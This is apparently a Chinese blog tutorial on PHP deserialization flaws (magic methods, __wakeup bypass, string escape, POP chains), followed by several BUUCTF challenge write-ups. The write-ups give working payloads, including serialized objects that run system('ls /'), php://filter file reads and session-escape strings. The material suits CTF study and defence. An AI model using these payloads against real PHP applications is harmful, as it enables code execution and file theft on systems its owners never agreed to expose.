PHP反序列化漏洞+CTF实例

整理php序列化相关知识点以及在CTF中的实例。


1.magic函数

    类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“_”开头的,这些函数在某些情况下会自动调用

  • _construct:构造函数,当一个对象创建时调用
  • _destruct:析构函数,当一个对象被销毁时调用
  • _toString:当一个对象被当作一个字符串时使用
  • _sleep:在对象序列化的时候,会调用一个_sleep()方法(即在一个对象被序列化时调用)
  • _wakeup:对象重新醒来,即由二进制串重新组成一个对象的时候,则会自动调用PHP的另一个函数_wakeup()(即在一个对象被反序列化时调用)

2.php序列化和反序列化

1.什么是序列化?

有时候需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等道道另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)

2.什么情况下需要序列化?

  • 把一个对象在网络中传输的时候
  • 把对象写入文件或是数据库的时候

3.序列化的使用

在php中,使用serialize()函数进行序列化,使用unserialize()函数进行反序列化

4.序列化后的形式:

O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:4:"Mike";}

  • O表示对象
  • 4表示对象名长度为4
  • User为对象名
  • 2表示有两个参数,{}里面时参数的key和value
  • s表示string对象,3表示长度,age为key
  • i表示interger对象,18为value

3.漏洞利用

    利用反序列化漏洞,取决于应用程序的逻辑、可用的类和魔法函数。用户可控,攻击者可以构造恶意的序列化字符串。当应用程序将恶意字符串反序列化为对象后,也就执行了攻击者指定的操作,如代码执行、任意文件读取等。

4.魔术方法绕过

1._wakeup()魔法函数绕过:

触发条件:在反序列化字符串中对象属性个数的值大于实际属性个数时(变量名),可绕过wakeup泛法。(PHP5<5.6.25;PHP7<7.0.10版本存在wakeup的漏洞)

2.正则绕过:可以用+号来进行绕过,+号添加位置-->类名个数

例如:O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}

           O:+4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}

5.字符串逃逸(闭合)

1.在反序列化函数可控情况下,若服务端存在替换序列化字符串中敏感字符,如:通过修改变量名等个数,造成与实际变量值个数不一致,而反序列化自身机制要求一定要满足字符串长度,则可以通过构造增加减少字符,来达到字符串逃逸。分为两种情况:1.字符增加 2.字符减少

2.存在可以字符串逃逸的情况,在源代码中大多会有preg_replace函数,第一种情况可能是将黑名单的词替换成更长的词,第二种情况可能是将黑名单的词替换成空或者更短的词。 所以针对两种情况,字符串逃逸有两种解题思路

3.字符增加思路:

        1、先构造恶意的序列化字符串,计算该字符串长度

        2、再看自己想要构造的语句,进行分析看自己要逃逸出多少字符,在可以控制的参数(一般是pre_replace针对过滤的那个参数)通过增加变量值进行字符串逃逸。

4.字符减少思路:

大佬wp:安洵杯2019 easy_serialize_php (反序列化中的对象逃逸)-CSDN博客

有两种方法:键逃逸和值逃逸。

        1.值逃逸。需要有两个键值对,第一个值被过滤后覆盖后一个键,这样第一个键往后找值,而第二个值种自己有键值对单独存在,这就逃逸出去了。

        2.键逃逸。只需要有一个键值对,直接构造会被过滤的键,则序列化后的值有一部分充当键,一部分充当值。

6.POP链构造

1.POP(Property-Oriented Programing):

简单理解:

A->B B->C A->B->C 函数和类依靠调用进行执行,通过操控A间接操控C

7.CTF实例

BUUCTF-极客大挑战2019PHP(魔术方法绕过)

 1.页面提示有备份网站文件,说明可以通过目录探测的方式找到备份文件。

        a.常见网站源码备份文件名

        .www .bak .backup .temp .wwwroot .web .website

        b.常见网站源码备份文件后缀

        .git .svn .swp .~ .bak .bash_history .tar .tar.gz .zip .rar

kali dirmap 安装与使用

dirmap 一个高级web目录扫描工具,功能将会强于DirBuster、Dirsearch、cansina、御剑

项目地址:https://github.com/H4ckForJob/dirmap

 使用dirmap扫描发现访问/www.zip成功得到备份文件

 

2.尝试输入flag.php中的flag,发现错误

3.php源码分析,发现程序通过get获取select参数,对参数进行反序列化。

--> wakeup(),他将username便问guest -->之后进行析构函数destruct(),程序结束。 

只有当username==admin时,才会输出flag,所以需要绕过wakeup()魔术方法。而且需要满足password==100。

利用上面提到的:当反序列化时,当前属性个数大于实际属性个数,就会跳过wakeup()方法,去执行destruct()

<?php
class Name{
    private $username='admin';
    private $password='100';
}
$a=new Name();
$str=serialize($a);
print_r($str);

?>

4.绕过__wakeup(),参数数量大于实际参数数量,将2修改为>2的参数,而且由于这个变量是private修饰,所以需要加上%00充当空格

payload:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

 BUUCTF-网鼎杯2020青龙组AreUSerialz

1.页面显示源码,分析源码, 发现程序通过get获取str参数,经过is_valid()过滤对参数进行反序列化

-->is_valid()要求传入的str参数的每个字符的ASCII值都在32和125之间。因为protected属性在序列化之后会出现不可见字符%00*%00,%00的ASCII值为0,无法通过is_valid()。绕过方法,将属性改为public。

-->之后进行析构函数destruct(),对op参数进行强比较,而在之后进行的process()中,op==2是弱比较,为了使后面可以运行read()实现文件读取,绕过方法是使传入的op是数字2(int类型),从而使第1个强比较返回false,第2个弱比较返回true

==只是对值的比较,若有一方为数字,另一方为字符串或空或nul,均会先将非数字一方转化为0,再做比较。

而===则是对值和类型的比较

<?php
class FileHandler {

    public $op = 2;
    public $filename = "flag.php";
    public $content = "Hello World!";

}
payload:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:12:"Hello World!";}

2.查看源码,得到flag!!!

BUUCTF-网鼎杯2020朱雀组phpweb 

1.使用bp可以看到程序通过post请求传递了两个参数:func和p,尝试传入file_get_contents获取index.php的源代码

2. 分析源码,发现程序先是有func的黑名单进行过滤,-->gettime()使用了call_user_func()执行函数func

黑名单中过滤很多执行函数,所以需要利用反序列化漏洞

<?php
class Test {
    var $p = "ls /";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$a=new Test();
echo serialize($a)
?>

3.发现根目录下没有flag文件,那就使用查找命令。找到可疑文件,cat文件得到flag!!!

 BUUCTF-ZJCTF2019 NiZhuanSiwei

1.页面显示源码,分析源码,程序通过get请求传递了3个参数,text,file,password。text需要写入数据等于"welcome to the zjctf",于是用data://协议写入数据。file会匹配flag过滤,提示有useless.php,尝试用php://filter查看源码。password则是利用反序列化漏洞。

payload1:
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

2.得到一段base64编码,解码后得到useless.php的源码,因此传入序列化字符串,查看源码得到flag!!!

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  
payload2:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

BUUCTF-安洵杯2019 easy_serialize_php(字符串逃逸)

 1.页面显示源码,分析源码,发现程序通过get传入f参数,如果是highlight_file则显示index.php的源码,如果是phpinfo则显示php相关信息(提示也许可以找到相关信息),发现有可疑文件d0g3_f1ag.php,应该是flag的文件名,如果是show_image则对$_SESSION进行反序列化

2.源码中使用了extract()方法,它容易导致变量覆盖漏洞 

1.变量覆盖漏洞介绍:

        变量覆盖就是通过外部输入将某个变量的值给覆盖掉。将自定义的参数值替换掉原有变量值的情况就是变量覆盖漏洞。

2.常见的可导致变量覆盖的函数或者因素有:

  • register_globals
  • extract()
  • parse_str()
  • mb_parse_str()
  • import_request_variables()
  • $$

 所以extract()变量覆盖后,原先的值会删去,然后重新添加变量。但是在源码中文件读取是应用在$userinfo["img"]-->$_SEESION["img"],它是在extract变量覆盖后赋值的。所以这里需要利用到字符串逃逸和源码中filter函数。

3.这个也是字符串逃逸的,但是是字符减少。根据上面的知识点有两种方法:值逃逸和键逃逸

因为我们需要修改$_SEESION["img"]值为d0g3_f1ag.php,而且源码后面会有base64解码,所以这里的值需要为d0g3_f1ag.php的base64编码值。

payload1: ### 值逃逸
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"ddd";s:1:"a";}
payload2: ###键逃逸
_SESSION["phpflag"]=;s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

 4.然后查看源码可以发现提示了flag所在路径,将base64编码值换成flag所在路径即可得到flag

payload3:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:3:"ddd";s:1:"a";}

 

 

BUUCTF-MRCTF2020 Ezpop(pop链构造) 

1.分析源码,有三个类Modifier,Show,Test,如果存在pop get请求参数,则进行反序列化,否则则创建一个show对象,显示welcome to index.php

Modifier中的__invoke()是在尝试以调用函数的方式调用一个对象时触发。

Show中__toString()在类被当成字符串时触发,而且这里的$this->str->source,str不是show类的参数str,而是一个对象

Test中的__get()在读取不可访问(protected或private)或不存在的属性时触发。 

所以需要Modifier中的append方法中的include函数把flag.php包含进去。而用到append方法的是__invoke()函数,想要用到__invoke函数,需要调用Test里面的__get方法,因为return $function()是以函数的方式调用一个对象,会触发__invoke()方法。最后只要访问不存在的属性即可调用__get方法

反向的思路如下:

flag.php->append()->__invoke()->__get()->toString()->定义source为类的对象

2.最终的payload

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

这里直接使用flag.php是不行的,要用到php://filter伪协议进行文件读取,最终进行base64解码得到flag!!!

 

  • 17
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值